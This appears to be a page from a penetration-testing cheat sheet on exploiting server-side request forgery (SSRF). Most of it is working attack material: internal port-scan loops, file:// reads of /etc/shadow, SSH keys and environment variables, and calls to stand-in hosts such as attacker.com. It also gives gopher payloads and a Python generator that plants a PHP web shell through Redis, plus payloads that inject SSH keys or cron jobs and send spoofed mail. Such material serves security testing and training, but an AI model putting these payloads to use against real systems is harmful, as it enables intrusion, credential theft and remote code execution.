Skip to content

SSRF Exploitation

Confirming SSRF

With Response (Non-Blind)

Request internal resource and check response:

GET /fetch?url=http://127.0.0.1:80 HTTP/1.1
Host: target.com

Look for: - Different response size/content - Error messages revealing internal info - Actual internal content in response

Blind SSRF

Use external server to detect:

GET /fetch?url=http://YOUR-ID.oast.fun HTTP/1.1
Host: target.com

Note from Collaborator: - Source IP (server's real IP) - Request headers (User-Agent, custom headers) - Timing differences

Time-Based Detection

# Open port = fast response
?url=http://127.0.0.1:80  # ~100ms

# Closed port = timeout or error
?url=http://127.0.0.1:12345  # ~10s timeout

Port Scanning

Internal Port Scan

# Common ports
for port in 21 22 23 25 80 443 445 3306 5432 6379 8080 27017; do
  curl -s -o /dev/null -w "%{http_code} %{time_total}\n" \
    "https://target.com/fetch?url=http://127.0.0.1:$port"
done

Network Discovery

# Scan internal range
for i in {1..255}; do
  curl -s "https://target.com/fetch?url=http://192.168.1.$i:80" &
done

Protocol Handlers

file://

Read local files:

file:///etc/passwd
file:///etc/shadow
file:///proc/self/environ
file:///home/user/.ssh/id_rsa
file:///var/log/apache2/access.log
file:///c:/windows/win.ini

dict://

DICT protocol for service interaction:

dict://127.0.0.1:11211/stats  # Memcached
dict://127.0.0.1:6379/info    # Redis
dict://127.0.0.1:22/          # SSH banner

gopher://

Most powerful - craft raw TCP requests:

Format: gopher://HOST:PORT/_[TCP_DATA]

URL encode: \r\n%0d%0a

# Redis command
gopher://127.0.0.1:6379/_INFO%0D%0AQUIT%0D%0A

# HTTP request via gopher
gopher://127.0.0.1:80/_GET%20/%20HTTP/1.1%0D%0AHost:%20localhost%0D%0A%0D%0A

Other Protocols

sftp://attacker.com/  # May leak creds in logs
ldap://attacker.com:389/  # May leak info
ftp://127.0.0.1/

Reading Internal Services

Checking Common Services

# Kubernetes
http://127.0.0.1:10255/pods
http://kubernetes.default.svc/

# Docker
http://127.0.0.1:2375/containers/json
http://127.0.0.1:2375/images/json

# Consul
http://127.0.0.1:8500/v1/agent/members

# Elasticsearch
http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/_search?q=*

# Internal web apps
http://127.0.0.1:8080/admin
http://localhost/server-status
http://127.0.0.1/manager/html  # Tomcat

Extracting Data

If you can see responses:

# Read internal API
?url=http://internal-api.local/users

# Access admin panels
?url=http://127.0.0.1:8080/admin/config

# Read environment
?url=file:///proc/self/environ

Weaponizing Gopher

Redis RCE via Gopher

# Generate gopher payload for Redis
import urllib.parse

commands = """
SET shell "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SAVE
QUIT
"""

payload = ""
for line in commands.strip().split('\n'):
    payload += f"*{len(line.split())}\r\n"
    for arg in line.split():
        payload += f"${len(arg)}\r\n{arg}\r\n"

print("gopher://127.0.0.1:6379/_" + urllib.parse.quote(payload))

SSH key injection:

# Write authorized_keys
gopher://127.0.0.1:6379/_*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$17%0d%0a/root/.ssh%0d%0a
gopher://127.0.0.1:6379/_*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a
# Then set key and save...

Crontab injection:

gopher://127.0.0.1:6379/_*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a

Memcached via Gopher

# Stats
gopher://127.0.0.1:11211/_stats%0A

# Version
gopher://127.0.0.1:11211/_version%0A

# Flush all (cache poisoning)
gopher://127.0.0.1:11211/_flush_all%0A

SMTP via Gopher

gopher://127.0.0.1:25/_HELO%20localhost%0d%0aMAIL%20FROM:%3Cattacker@evil.com%3E%0d%0aRCPT%20TO:%3Cvictim@target.com%3E%0d%0aDATA%0d%0aSubject:%20SSRF%20Test%0d%0a%0d%0aPwned%20via%20SSRF%0d%0a.%0d%0aQUIT%0d%0a

Tools

Gopherus

Generate gopher payloads automatically:

python gopherus.py --exploit mysql
python gopherus.py --exploit redis
python gopherus.py --exploit fastcgi
python gopherus.py --exploit memcache

SSRFmap

python ssrfmap.py -r request.txt -p url -m readfiles
python ssrfmap.py -r request.txt -p url -m portscan

Port Reference

Service Port Protocol
Redis 6379 gopher/dict
Memcached 11211 gopher/dict
MySQL 3306 gopher
PostgreSQL 5432 gopher
MongoDB 27017 gopher
SMTP 25 gopher
FastCGI 9000 gopher
Zabbix 10050 gopher
Elasticsearch 9200 http
Docker 2375 http
Kubernetes 10250 http

Got SSRF working? Move to Escalation for cloud metadata and RCE chains.

Need to bypass filters? Check Bypasses.